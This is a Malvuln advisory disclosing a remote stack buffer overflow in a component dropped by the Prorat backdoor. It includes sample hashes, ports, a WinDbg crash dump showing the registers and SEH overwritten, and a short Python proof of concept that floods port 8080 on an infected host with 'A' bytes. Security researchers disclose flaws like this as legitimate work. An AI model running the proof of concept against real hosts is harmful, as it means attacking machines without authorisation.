Discovery / credits: Malvuln (John Page aka hyp3rlinx) (c) 2024
Original source: https://malvuln.com/advisory/277f9a4db328476300c4da5f680902ea.txt
Contact: malvuln13@gmail.com
Media: x.com/malvuln 

Threat: Backdoor.Win32.Prorat.jz
Vulnerability: Remote Stack Buffer Overflow (SEH)
Description: The RAT listens on TCP ports 51100,5112,5110 and runs an FTP service. Prorat uses a vulnerable component in a secondary malware it drops on the victim system named "Netbot_Attacker VIP 6.0 Version korea.exe" MD5: 2168a606464c7fd016c260140a62815e. The dropped malware listens on TCP port 8080 and 80 on subsequent restarts. Third-party attackers who can reach an infected machine can send specially crafted sequential packetz to port 8080. This will trigger a stack buffer overflow overwriting the ECX, EIP registers and Structured Exception Handler (SEH).
Family: Prorat
Type: PE32
MD5: 277f9a4db328476300c4da5f680902ea
SHA256: 1134dffe52ea01f0d93a6889edd36620dbe9ee04224ad662e4f5463c4feb98a7 
Vuln ID: MVID-2024-0699
Dropped files:  ~imsinst.exe, NetBot.ini  in  \AppData\Local\Temp directory.
ASLR: False
DEP: False
CFG: False
Safe SEH: False
Disclosure: 09/27/2024

Memory Dump:
(1974.354): Stack buffer overflow - code c0000409 (first/second chance not available)
eax=00000000 ebx=00000000 ecx=41414141 edx=00000000 esi=00000000 edi=00000002
eip=76fced3c esp=0703f8d0 ebp=0703f910 iopl=0         nv up ei pl nz ac po nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000212
ntdll!ZwWaitForMultipleObjects+0xc:
76fced3c c21400          ret     14h

0:008> .ecxr
eax=00000000 ebx=04367000 ecx=41414141 edx=00000000 esi=04367000 edi=00406120
eip=41414141 esp=0703ff80 ebp=0703ff94 iopl=0         nv up ei pl nz na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010206
41414141 ??              ???

0:008> !analyze -v
*******************************************************************************
*                                                                             *
*                        Exception Analysis                                   *
*                                                                             *
*******************************************************************************

*** WARNING: Unable to verify checksum for Netbot_Attacker VIP 6.0 Version korea.exe
*** ERROR: Module load completed but symbols could not be loaded for Netbot_Attacker VIP 6.0 Version korea.exe

FAULTING_IP: 
+2f
41414141 ??              ???

EXCEPTION_RECORD:  0703fad0 -- (.exr 0x703fad0)
ExceptionAddress: 41414141
   ExceptionCode: c0000005 (Access violation)
  ExceptionFlags: 00000008
NumberParameters: 2
   Parameter[0]: 00000000
   Parameter[1]: 41414141
Attempt to read from address 41414141

PROCESS_NAME:  Netbot_Attacker VIP 6.0 Version korea.exe

ERROR_CODE: (NTSTATUS) 0xc0000409 - The system detected an overrun of a stack-based buffer in this application. This overrun could potentially allow a malicious user to gain control of this application.

EXCEPTION_CODE: (NTSTATUS) 0xc0000409 - The system detected an overrun of a stack-based buffer in this application. This overrun could potentially allow a malicious user to gain control of this application.

EXCEPTION_PARAMETER1:  00000015

MOD_LIST: <ANALYSIS/>

NTGLOBALFLAG:  0

APPLICATION_VERIFIER_FLAGS:  0

FAILED_INSTRUCTION_ADDRESS: 
+2f
41414141 ??              ???

CONTEXT:  0703fb20 -- (.cxr 0x703fb20)
eax=00000000 ebx=04367000 ecx=41414141 edx=00000000 esi=04367000 edi=00406120
eip=41414141 esp=0703ff80 ebp=0703ff94 iopl=0         nv up ei pl nz na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010206
41414141 ??              ???
Resetting default scope

READ_ADDRESS:  41414141 

FOLLOWUP_IP: 
+2f
41414141 ??              ???

ADDITIONAL_DEBUG_TEXT:  Followup set based on attribute [Is_ChosenCrashFollowupThread] from Frame:[0] on thread:[PSEUDO_THREAD]

LAST_CONTROL_TRANSFER:  from 41414141 to 41414141

FAULTING_THREAD:  ffffffff

BUGCHECK_STR:  APPLICATION_FAULT_STACK_BUFFER_OVERRUN_MISSING_GSFRAME_EXPLOITABLE_FILL_PATTERN_41414141_STACKIMMUNE

PRIMARY_PROBLEM_CLASS:  STACK_BUFFER_OVERRUN

DEFAULT_BUCKET_ID:  STACK_BUFFER_OVERRUN

IP_ON_HEAP:  41414141
The fault address in not in any loaded module, please check your build's rebase
log at <releasedir>\bin\build_logs\timebuild\ntrebase.log for module which may
contain the address if it were loaded.

IP_IN_FREE_BLOCK: 41414141

FRAME_ONE_INVALID: 1

STACK_TEXT:  
00000000 00000000 unknown!netbot_attacker_vip_6.0_version_korea.exe+0x0


STACK_COMMAND:  .cxr 000000000703FB20 ; kb ; ** Pseudo Context ** ; kb

SYMBOL_NAME:  unknown!netbot_attacker_vip_6.0_version_korea.exe

FOLLOWUP_NAME:  MachineOwner

MODULE_NAME: unknown

IMAGE_NAME:  unknown

DEBUG_FLR_IMAGE_TIMESTAMP:  0

FAILURE_BUCKET_ID:  STACK_BUFFER_OVERRUN_c0000409_unknown!Unloaded

BUCKET_ID:  APPLICATION_FAULT_STACK_BUFFER_OVERRUN_MISSING_GSFRAME_EXPLOITABLE_FILL_PATTERN_41414141_STACKIMMUNE_MISSING_GSFRAME_BAD_IP_unknown!netbot_attacker_vip_6.0_version_korea.exe

Followup: MachineOwner
---------

0:008> !exchain
0703f988: ntdll!_except_handler4+0 (76fd6a50)
  CRT scope  0, func:   ntdll!RtlReportExceptionHelper+251 (770157ad)
Invalid exception stack at 41414141


Exploit/PoC:
from socket import *
import time

MALWARE_HOST="x.x.x.x"
PORT=8080  #80 after initial restart

def Prorat_BOF():

    print("[+] Backdoor.Win32.Prorat.jz")
    print("[+] Remote Stack Buffer Overflow - SEH")
    print("[+] MD5: 277f9a4db328476300c4da5f680902ea")
    
    for i in range(1, 13):
        s=socket(AF_INET, SOCK_STREAM)
        s.connect((MALWARE_HOST, PORT))
        PAYLOAD="A"*100 * i
        s.send(PAYLOAD.encode())
        time.sleep(0.5)
        print(len(PAYLOAD))
        s.close()

if __name__=="__main__":
    Prorat_BOF()
    print("Malvuln")


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